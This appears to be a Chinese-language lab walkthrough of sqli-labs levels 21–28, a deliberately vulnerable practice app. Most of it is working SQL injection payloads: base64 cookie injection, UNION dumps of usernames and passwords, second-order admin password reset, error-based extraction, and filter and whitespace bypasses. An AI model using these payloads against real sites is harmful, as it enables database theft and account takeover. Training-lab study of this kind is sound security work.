第二十一关(cookie里面进行注入)
- 查看登录正常的页面。
- 查看登录失败的页面。
- 抓包,可以看得到cookie里面有一串看不懂的字符串。
- 根据对url编码的学习,可以发现%3D的url解码是等号,等号再和前面的字符串拼接到一起再进行base解码就可以发现这一串看不懂的字符串是
admin ,即我们输入的账号。 - 在cookie后面添加单引号并且进行base编码发现报错,
Cookie: uname=YWRtaW4n - 在经过多次的尝试后,发现添加单引号、括号之后再加井号进行base编码发现正常了,
Cookie: uname=YWRtaW4nKSM= - 经过尝试,发现无法用
order by 来猜字段。 - 使用联合查询进行尝试,发现3就是字段数。
Cookie: uname=JykgVU5JT04gU0VMRUNUIDEsMiwzIw== - 获取当前数据库名
Cookie: uname=JykgVU5JT04gU0VMRUNUIGRhdGFiYXNlKCksMiwzIw== 也就是Cookie: uname=') UNION SELECT database(),2,3# - 获取表名,
Cookie: uname=JykgVU5JT04gU0VMRUNUIGdyb3VwX2NvbmNhdCh0YWJsZV9uYW1lKSwyLDMgRlJPTSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIFdIRVJFIHRhYmxlX3NjaGVtYSA9ICdzZWN1cml0eScj 也就是Cookie: uname=') UNION SELECT group_concat(table_name),2,3 FROM information_schema.tables WHERE table_schema = 'security'# - 获取字段名,
Cookie: uname=JykgVU5JT04gU0VMRUNUIGdyb3VwX2NvbmNhdChjb2x1bW5fbmFtZSksMiwzIEZST00gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgV0hFUkUgdGFibGVfc2NoZW1hID0gJ3NlY3VyaXR5JyBBTkQgdGFibGVfbmFtZSA9ICd1c2Vycycj 也就是Cookie: uname=') UNION SELECT group_concat(column_name),2,3 FROM information_schema.columns WHERE table_schema = 'security' AND table_name = 'users'# - 获取指定的数据,
Cookie: uname=dW5hbWU9JykgVU5JT04gU0VMRUNUIGdyb3VwX2NvbmNhdChjb25jYXQoIjoiLHVzZXJuYW1lLHBhc3N3b3JkKSksMiwzIEZST00gc2VjdXJpdHkudXNlcnMj 也就是Cookie: uname=uname=') UNION SELECT group_concat(concat(":",username,password)),2,3 FROM security.users# - 源码
第二十二关(cookie里面进行注入)
- 经过检验,步骤和第二十一关一致,只是把单引号、括号换成双引号即可,如
Cookie: uname=YWRtaW4iIw== 也就是Cookie: uname=admin"# - 源码
第二十三关(联合注入)
- 查看登录正常的页面,
id=1 - 查看登录失败的页面,
id=-1 - 经过尝试,发现是字符型注入,因为
id=1 and 1=2 还是显示正确的页面,并没有报错。 而id=1' and '1'='2 时,报错了。 - 对语句进行闭合并且注释发现报错了,
id=1' and '1'='2' # 并且该语句与去掉井号注释时的页面一致,id=1' and '1'='2' 猜测应该是对井号进行了处理了。 - 因为
order by 是放在句尾的,无法放在语句中间的,而井号注释被处理掉了,因此如果使用order by插入在这里的话,就无法起作用。 - 因为order by无法起作用,因此直接用
union select 来看回显位,从1开始,发现到3之后就显示正常了。并且找到了回显位是2和3。 - 查看当前使用的数据库和版本。
id=-1' union select 1,database(),version() ' - 查看所有的数据库名字,
id=-1' union select 1,database(),(select group_concat(schema_name) from information_schema.schemata) ' - 查看当前数据库下的所有表,
id=-1' union select 1,database(),(select group_concat(table_name) from information_schema.tables where table_schema=database()) ' - 查看当前数据库内的emails表里面的所有列,
id=-1' union select 1,database(),(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='emails') ' - 查看所有的数据指定表里面的所有数据,必须要找到表里面的列名,
id=-1' union select 1,database(),(select group_concat(id,'~',email_id) from emails) ' - 源码
第二十四关(二次注入)
- 在登录页面经过了多个单引号、双引号以及括号的结合来进行注入攻击,发现攻击无效。
- 转到在更改密码的页面进行攻击,因为网站一般都有admin账号,因此这里创建
admin'# - 更改当前账户的密码,
622 - 发现admin的密码确实变为622了
- 通过查看源码可以发现,源码中的更改密码那里并没有对用户名进行过滤处理,导致用户名为数据库中其他用户的名字加上单引号和井号注释符更改密码时,注释掉了后面的受害者的原密码,因此达到了不需要受害者原密码就能按照攻击者的意愿进行更改。发挥作用的只有画红色粗框的语句。
第二十五关(or和and过滤)
- 查看正常的页面
- 查看异常的页面
- 在进行or和and以及井号使用的时候,发现一直报错,然后把id语句进行输出的时候,发现id中的or和and以及井号被过滤掉了。
- 在or的里面再加入一个or构成oorr,使用
id=-1' oorr '1'='1 ,发现能够成功登录了,并且发现是单引号闭合的注入。 - 经过一次次尝试之后,发现字段为4,输入
id=1' oorrder by 1,2,3,4 anandd '1'='1 ,这里发现的字段与下一步寻找回显位时明显不一样,有点奇怪。下一步用4的时候报错了。 - 发现回显位是1和2,
id=-1' union select 1,2,3 anandd '1'='1 - 查询当前数据库名字和版本,
id=-1' union select database(),version(),3 anandd '1'='1 但是发现并没有显示当前数据库的名字,说明回显位只有2 id=-1' union select 1,database(),3 anandd '3'='3 - 查看所有的数据库名字,
id=-1' union select 1,(select group_concat(schema_name) from infoorrmation_schema.schemata),3 anandd '1'='1 - 查看当前数据库下的所有表,
id=-1' union select 1,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()),3 anandd '1'='1 - 查看当前数据库emails表下的所有列,
id=-1' union select 1,(select group_concat(column_name) from infoorrmation_schema.columns where table_name='emails' anandd table_schema=database()),3 anandd '1'='1 - 获取当前数据库emails表下的所有数据,
id=-1' union select 1,(select group_concat(id,'|',email_id) from security.emails ),3 anandd '1'='1 - 源码
第二十五关a(数值型注入)
- 查看正常的页面
- 查看异常页面
- 猜字段,
oorrder by 1,2,3 ,发现3正常而4错误,说明字段是3 - 查看回显位,
id=-1 union select 1,2,3 # ,发现回显位是2和3 - 查看数据库版本信息,
id=-1 union select 1,database(),version() # - 查看所有的数据库名,
id=-1 union select 1,2,group_concat(schema_name) from infoorrmation_schema.schemata # - 下面的步骤和第二十五关的一致,这里就不一一演示了。
- 源码
第二十六关
- 查看正常的页面
- 查看错误的页面
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-IhGuAZub-1653217834689)(https://tc1-1305485727.cos.ap-guangzhou.myqcloud.com/sqlbals%E9%9D%B6%E5%9C%BA2/Pasted image 20211211151754.png)] - 在进行查看错误的页面时,发现
id=-1 和id=1 所显示的页面都是一样的,都是显示正常的页面,因此猜测应该对负号进行了处理。所以我在查看错误页面的时候,才输入id=123 的,因为数据库中没有这个值。 - 经过
id=123 or 1=1 、id=123' or '1'='1 以及id=123" or "1"="1 还添加了括号后,发现均是错误的页面,查看提示发现都是 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-EuzB7N1i-1653217834690)(https://tc1-1305485727.cos.ap-guangzhou.myqcloud.com/sqlbals%E9%9D%B6%E5%9C%BA2/Pasted image 20211211152458.png)] 可以看到空格被去除了,因此该sql语句对空格进行了处理了,并且使用and的时候也发现and也被处理了。 - 经过检验,发现回车的url编码(%0a)、空格的url编码(%20)、两个空格还有括号等一些常见的空格过滤绕过失败了。因此无法经过正常的sql注入方法来进行攻击,因此进行报错注入进行攻击。
- 使用报错进行攻击,
id=1'oorr(updatexml(1,concat(0x7e,(select(group_concat(database(),'~',version()))),0x7e),1))aandnd '1'='1 或id=1'oorr(extractvalue(1,concat(0x7e,(select(group_concat(database(),'~',version()))),0x7e)))aandnd '1'='1 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-rjh8sLuO-1653217834690)(https://tc1-1305485727.cos.ap-guangzhou.myqcloud.com/sqlbals%E9%9D%B6%E5%9C%BA2/Pasted image 20211211175113.png)] - 查看所有的数据库名字,
id=1'oorr(extractvalue(1,(select(group_concat(schema_name))from(infoorrmation_schema.schemata))))aandnd '1'='1 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-7vv3Yv03-1653217834690)(https://tc1-1305485727.cos.ap-guangzhou.myqcloud.com/sqlbals%E9%9D%B6%E5%9C%BA2/Pasted image 20211211180650.png)] - 查看当前数据库的所有表,
id=1'oorr(extractvalue(1,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(database()=table_schema))))aandnd '1'='1 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-92hxPd15-1653217834691)(https://tc1-1305485727.cos.ap-guangzhou.myqcloud.com/sqlbals%E9%9D%B6%E5%9C%BA2/Pasted image 20211211183955.png)] - 查看指定表的所有列,
id=1'oorr(extractvalue(1,(select(group_concat(column_name))from(infoorrmation_schema.columns)where((database()=table_schema)anandd(table_name='users')))))aandnd '1'='1 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-M42biJCk-1653217834691)(https://tc1-1305485727.cos.ap-guangzhou.myqcloud.com/sqlbals%E9%9D%B6%E5%9C%BA2/Pasted image 20211211184213.png)] - 暴数据,
id=1'oorr(extractvalue(1,(select(group_concat(username,passwoorrd))from(security.users))))aandnd '1'='1 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Gz3ytda4-1653217834691)(https://tc1-1305485727.cos.ap-guangzhou.myqcloud.com/sqlbals%E9%9D%B6%E5%9C%BA2/Pasted image 20211211184505.png)] - 源码
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-68FVoJcn-1653217834692)(https://tc1-1305485727.cos.ap-guangzhou.myqcloud.com/sqlbals%E9%9D%B6%E5%9C%BA2/Pasted image 20211211184555.png)]
第二十六关a
- 解决不了
- 源码
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-w42DdMP9-1653217834692)(https://tc1-1305485727.cos.ap-guangzhou.myqcloud.com/sqlbals%E9%9D%B6%E5%9C%BA2/Pasted image 20211212143432.png)]
第二十七关
- 正常页面
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-pxIfuoh3-1653217834692)(https://tc1-1305485727.cos.ap-guangzhou.myqcloud.com/sqlbals%E9%9D%B6%E5%9C%BA2/Pasted image 20211212143539.png)] - 异常页面
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-M1ZSvP67-1653217834693)(https://tc1-1305485727.cos.ap-guangzhou.myqcloud.com/sqlbals%E9%9D%B6%E5%9C%BA2/Pasted image 20211212143601.png)] - 结果多次的尝试,可以发现是字符型注入,并且发现过滤了空格。
id=100'||'1'='1 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-GTH3JUar-1653217834693)(https://tc1-1305485727.cos.ap-guangzhou.myqcloud.com/sqlbals%E9%9D%B6%E5%9C%BA2/Pasted image 20211212144532.png)] - 根据网上的方法,利用url编码和多行注释来进行攻击,暴库
id=0%27/*%0a*/UnIoN/*%0a*/SeLeCt/*%0a*/1,database(),2/*%0a*/||/*%0a*/%271%27=%271 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-y6lH0Hdv-1653217834693)(https://tc1-1305485727.cos.ap-guangzhou.myqcloud.com/sqlbals%E9%9D%B6%E5%9C%BA2/Pasted image 20211212145134.png)] - 暴表,
id=0'/*%0a*/UnIoN/*%0a*/SeLeCt/*%0a*/1,(SeLeCt/*%0a*/group_concat(table_name)/*%0a*/from/*%0a*/information_schema.tables/*%0a*/where/*%0a*/table_schema='security'),3||'1 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-EQ1T406G-1653217834694)(https://tc1-1305485727.cos.ap-guangzhou.myqcloud.com/sqlbals%E9%9D%B6%E5%9C%BA2/Pasted image 20211212145647.png)] - 暴列,
id=0'/*%0a*/UnIoN/*%0a*/SeLeCt/*%0a*/1,(SeLeCt/*%0a*/group_concat(column_name)/*%0a*/from/*%0a*/information_schema.columns/*%0a*/where/*%0a*/table_schema='security'/*%0a*/and/*%0a*/table_name='emails'),3||'1 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-iPCDgH6F-1653217834694)(https://tc1-1305485727.cos.ap-guangzhou.myqcloud.com/sqlbals%E9%9D%B6%E5%9C%BA2/Pasted image 20211212150343.png)] - 暴数据,
id=0'/*%0a*/UnIoN/*%0a*/SeLeCt/*%0a*/1,(SeLeCt/*%0a*/group_concat(id,email_id)/*%0a*/from/*%0a*/security.emails),3||'1 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-UFpvfOon-1653217834694)(https://tc1-1305485727.cos.ap-guangzhou.myqcloud.com/sqlbals%E9%9D%B6%E5%9C%BA2/Pasted image 20211212150448.png)] - 源码
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-i9L9NzyQ-1653217834695)(https://tc1-1305485727.cos.ap-guangzhou.myqcloud.com/sqlbals%E9%9D%B6%E5%9C%BA2/Pasted image 20211212150631.png)]
第二十七关a
- 查看正常的页面
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-O90VoSRU-1653217834695)(https://tc1-1305485727.cos.ap-guangzhou.myqcloud.com/sqlbals%E9%9D%B6%E5%9C%BA2/Pasted image 20211212152549.png)] - 查看异常的页面
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ebsdC93V-1653217834696)(https://tc1-1305485727.cos.ap-guangzhou.myqcloud.com/sqlbals%E9%9D%B6%E5%9C%BA2/Pasted image 20211212152601.png)] - 经过多次的尝试,发现是双引号,
id=100"||"1"="1 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-U5zCRbqR-1653217834696)(https://tc1-1305485727.cos.ap-guangzhou.myqcloud.com/sqlbals%E9%9D%B6%E5%9C%BA2/Pasted image 20211212152710.png)] - 猜字段,
id=1"/*%0a*/order/*%0a*/by/*%0a*/1,2,3,/*%0a*/" [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ECh4IPja-1653217834696)(https://tc1-1305485727.cos.ap-guangzhou.myqcloud.com/sqlbals%E9%9D%B6%E5%9C%BA2/Pasted image 20211212153922.png)] - 查看回显位,
id=100"/*%0a*/UnION/*%0a*/SeLECT/*%0a*/1,2,3/*%0a*/" [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Wm180D5h-1653217834697)(https://tc1-1305485727.cos.ap-guangzhou.myqcloud.com/sqlbals%E9%9D%B6%E5%9C%BA2/Pasted image 20211212154049.png)] - 查看数据库名字和版本信息,
id=100"/*%0a*/UnION/*%0a*/SeLECT/*%0a*/1,database(),version()/*%0a*/" [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Z4H3HPgG-1653217834697)(https://tc1-1305485727.cos.ap-guangzhou.myqcloud.com/sqlbals%E9%9D%B6%E5%9C%BA2/Pasted image 20211212154138.png)] - 暴库,
id=100"/*%0a*/UnION/*%0a*/SeLECT/*%0a*/1,2,(seLECT/*%0a*/group_concat(schema_name)/*%0a*/from/*%0a*/information_schema.schemata)/*%0a*/" [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-k1Q9EzbQ-1653217834697)(https://tc1-1305485727.cos.ap-guangzhou.myqcloud.com/sqlbals%E9%9D%B6%E5%9C%BA2/Pasted image 20211212154821.png)] - 暴表,
id=100"/*%0a*/UnION/*%0a*/SeLECT/*%0a*/1,2,(seLECT/*%0a*/group_concat(table_name)/*%0a*/from/*%0a*/information_schema.tables/*%0a*/WheRe/*%0a*/database()='security')/*%0a*/" [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-KtTPlEmP-1653217834698)(https://tc1-1305485727.cos.ap-guangzhou.myqcloud.com/sqlbals%E9%9D%B6%E5%9C%BA2/Pasted image 20211212155323.png)] - 暴列,
id=100"/*%0a*/UnION/*%0a*/SeLECT/*%0a*/1,2,(seLECT/*%0a*/group_concat(column_name)/*%0a*/from/*%0a*/information_schema.columns/*%0a*/WheRe/*%0a*/database()='security'/*%0a*/and/*%0a*/table_name='emails')/*%0a*/" [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-UblWzr6h-1653217834698)(https://tc1-1305485727.cos.ap-guangzhou.myqcloud.com/sqlbals%E9%9D%B6%E5%9C%BA2/Pasted image 20211212155631.png)] - 暴数据
id=100"/*%0a*/UnION/*%0a*/SeLECT/*%0a*/1,2,(seLECT/*%0a*/group_concat(id,email_id)/*%0a*/from/*%0a*/security.emails)/*%0a*/" [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-dlNAU38x-1653217834699)(https://tc1-1305485727.cos.ap-guangzhou.myqcloud.com/sqlbals%E9%9D%B6%E5%9C%BA2/Pasted image 20211212160138.png)] - 源码
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-5PA2H5dk-1653217834699)(https://tc1-1305485727.cos.ap-guangzhou.myqcloud.com/sqlbals%E9%9D%B6%E5%9C%BA2/Pasted image 20211212160252.png)]
第二十八关
常见的绕过方法
- 双写绕过
- 大小写绕过
- 编码绕过,如:hex || URL
- 注释符绕过,如:/!select/
- 替换:如 and 可替换为 && ,or 可替换为 ||
- 空格的话我们可以 url 绕过:%a0 || %0b 等等,过滤字符我们可以用 and || or 替代
- 用
/*%0a*/ 强行制造空格,%09是table键也可以当成是空格,%20是空格,%0a是回车键
|